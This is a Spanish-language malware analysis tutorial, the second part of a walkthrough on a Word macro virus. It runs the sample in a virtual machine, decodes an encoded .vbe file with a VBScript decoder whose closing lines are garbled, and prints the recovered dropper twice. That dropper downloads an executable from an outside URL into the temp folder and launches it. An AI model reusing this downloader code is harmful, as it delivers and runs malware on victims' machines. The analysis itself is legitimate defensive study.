Hola amigos esta es la segunda parte de nuestro análisis de un virus de macro que se expuso en el foro del Hacker Net aquí el link:
http://foro.elhacker.net/analisis_y_diseno_de_malware/virus_de_macro_en_archivo_rtf-t449858.0.htmlEn esta parte empezaremos ejecutando nuestro archivo .xml ya reparado en una maquina virtual, primero aquí unos enlaces:
Primera Parte:
Ver aqui y en Video:
Ver aquiComo Crear Una Maquina Virtual:
Parte 1 y
Parte 2ahora como ya tenemos nuestro archivo .xml reparado lo copiaremos a la carpeta
"
CompartidaconVirtualBox" que la tenemos en el escritorio y a nuestro archivo .xml le pondremos el nombre de
virus.xmlcomo ya la tenemos compartida con nuestra maquina virtual pasaremos a ejecutar este archivo dentro de ella y daremos doble clic en el archivo virus.xml
Nota: Deberemos tener el Microsoft Office instalado en nuestra maquina virtual para poder abrir el archivo .xml
ahora ya que lo tenemos abierto tendremos que configurar el Microsoft Word para que ejecute la macro al abrir el archivo, para eso damos clic en
y después en la siguiente ventana elegiremos la ultima opción de abajo y daremos clic en aceptar
ahora cerramos el archivo para volverlo abrir y ahora si esperamos que se ejecute el virus y nos aparece esto
y como ven es un mensaje de error y apunta al archivo "
rdFVJHkdsff.vbe" que es un tipo de archivo Visual Script Codificado y este se encuentra en la carpeta temporal.
así que daré clic en aceptar y ahora iré ala carpeta temporal presionando la tecla
WINDOWS + R y escribo
%TEMP% y doy aceptar
y estos son los archivos que genera
ahora ya que me encuentro aquí copiare el archivo "
rdFVJHkdsff.vbe" a la carpeta que comparto para pasarlo a la maquina anfitrión y analizarlo mas bien
Nota: de aquí en adelante apagare el antivirus ya que este no me dejara abrir el archivo
ya que estoy en la maquina anfitrión lo abro con el Notepad y encuentro lo siguiente
como ven esta codificado, así que usare el código que se encuentra en esta pagina
Aqui para decodificarlo, pero con algunas modificaciones que lee hecho y quedara algo así:
option explicit
Dim oArgs, NomFichier,f
'Optional argument : the encoded filename
NomFichier=""
Set oArgs = WScript.Arguments
Select Case oArgs.Count
Case 0 'No Arg, popup a dialog box to choose the file
'NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
NomFichier="rdFVJHkdsff.vbe"
Case 1
If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
NomFichier=oArgs(0)
End If
Case Else
WScript.Echo "Too many parameters"
End Select
Set oArgs = Nothing
If NomFichier<>"" Then
Dim fso
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(NomFichier) Then
Dim fic,contenu
Set fic = fso.OpenTextFile(NomFichier, 1)
Contenu=fic.readAll
fic.close
Set fic=Nothing
Const TagInit="#@~^" '#@~^awQAAA==
Const TagFin="==^#~@" '& chr(0)
Dim DebutCode, FinCode
Do
FinCode=0
DebutCode=Instr(Contenu,TagInit)
If DebutCode>0 Then
If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then 'If "==" follows the tag
FinCode=Instr(DebutCode,Contenu,TagFin)
If FinCode>0 Then
Contenu=Left(Contenu,DebutCode-1) & _
Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
Mid(Contenu,FinCode+6)
End If
End If
End If
Loop Until FinCode=0
'WScript.Echo Contenu
set f=fso.CreateTextFile("virusfinal.vbs")
f.write(Contenu)
f.close
Else
WScript.Echo Nomfichier & " not found"
End If
Set fso=Nothing
Else
WScript.Echo "Please give a filename"
WScript.Echo "Usage : " & wscript.fullname & " " & WScript.ScriptFullName & " "
End If
Function Decode(Chaine)
Dim se,i,c,j,index,ChaineTemp
Dim tDecode(127)
Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"
Set se=WSCript.CreateObject("Scripting.Encoder")
For i=9 to 127
tDecode(i)="JLA"
Next
For i=9 to 127
ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
For j=1 to 3
c=Asc(Mid(ChaineTemp,j,1))
tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
Next
Next
'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
Set se=Nothing
Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
Chaine=Replace(Chaine,"@$","@")
index=-1
For i=1 to Len(Chaine)
c=asc(Mid(Chaine,i,1))
If c<128 c="" if="" index="index+1" or="" then="">31) and (c<128 c="" if="" then="">60) and (c<>62) and (c<>64) Then
Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison,(index mod 64)+1,1),1) & Mid(Chaine,i+1)
End If
End If
Next
Decode=Chaine
End Function
Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
Dim ShellObject, pstrTempFolder, x
Set ShellObject=WScript.CreateObject("Shell.Application")
On Error Resume Next
Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
If Err.Number<>0 Then BrowseForFolder=""
Set pstrTempFolder=Nothing
Set ShellObject=Nothing
End Function
128>128>
ahora copiamos este codigo y lo aguardamos en la carpeta donde se encuentra el virus que es la carpeta "
CompartidaconVirtualBox" y le pondremos el nombre de "
Desencriptar.vbs" como ven en la imagen
y ahora daremos doble clic al desencriptar y nos crea el archivo "
virusfinal.vbs", el cual daremos clic derecho y lo abriremos con el Notepad++
el cual nos muestra el siguiente código:
RTDHJkdsfFd = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
RTDHJkdsfFd = RTDHJkdsfFd & "\"
trDYFUKdsc = "http://house.nochildforgotten.org/michigan/map.php"
HxDxVdXxSDxSF = "ojidsfc.exe"
dim lkjhgfFFfsgb: Set lkjhgfFFfsgb = createobject("Microsoft.XMLHTTP")
dim fNxGxXlsxADAGD: Set fNxGxXlsxADAGD = createobject("Adodb.Stream")
lkjhgfFFfsgb.Open "GET", trDYFUKdsc, False
lkjhgfFFfsgb.Send
with fNxGxXlsxADAGD
.type = 1
.open
.write lkjhgfFFfsgb.responseBody
.savetofile RTDHJkdsfFd & HxDxVdXxSDxSF, 2
end with
Set MNBHGdDwerttwer = CreateObject("Shell.Application")
MNBHGdDwerttwer.Open RTDHJkdsfFd & HxDxVdXxSDxSF
ahora remplazare el nombre de las variables para que se vea mas entendible y quedara algo así:
a = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
a = a & "\"
b = "http://house.nochildforgotten.org/michigan/map.php"
c = "ojidsfc.exe"
dim d: Set d = createobject("Microsoft.XMLHTTP")
dim e: Set e = createobject("Adodb.Stream")
d.Open "GET", b, False
d.Send
with e
.type = 1
.open
.write d.responseBody
.savetofile a & c, 2
end with
Set f = CreateObject("Shell.Application")
f.Open a & c
párese que lo que ase es descargar una aplicación llamada "
ojidsfc.exe" y ejecutarla
bueno creo que eso es todo de esta segunda parte, no creo que halla tercera por que lo único que queda de este virus es averiguar la clave de la macro para así ver bien todo el código pero creo que eso es imposible.
bueno saludos Flamer